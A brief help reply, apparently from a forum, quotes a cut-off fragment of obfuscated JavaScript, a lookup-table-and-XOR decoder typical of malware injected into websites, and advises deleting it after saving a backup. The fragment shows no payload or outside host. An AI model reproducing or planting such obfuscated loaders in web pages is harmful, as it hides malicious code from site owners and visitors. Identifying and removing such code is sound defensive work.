var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,9,59,58,33,23,27,10,25,2,0,0,0,0,0,0,51,56,54,35,16,18,46,50,3,41,12,14,53,15,6,7,11,26,40,62,60,24,34,57,4,31,37,0,0,0,0,32,0,42,38,43,22,21,5,36,28,45,29,1,17,20,13,44,30,47,49,0,55,52,8,61,48,39,19);
for(j=Math.ceil(l/b);j>0;j--){r='';
for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;
if(s){r+=String.fromCharCode(121^w&255);w>>=8;s-=2}

If you didn't put it there, just delete it. Save a backup of the file just in case it needs to be there.
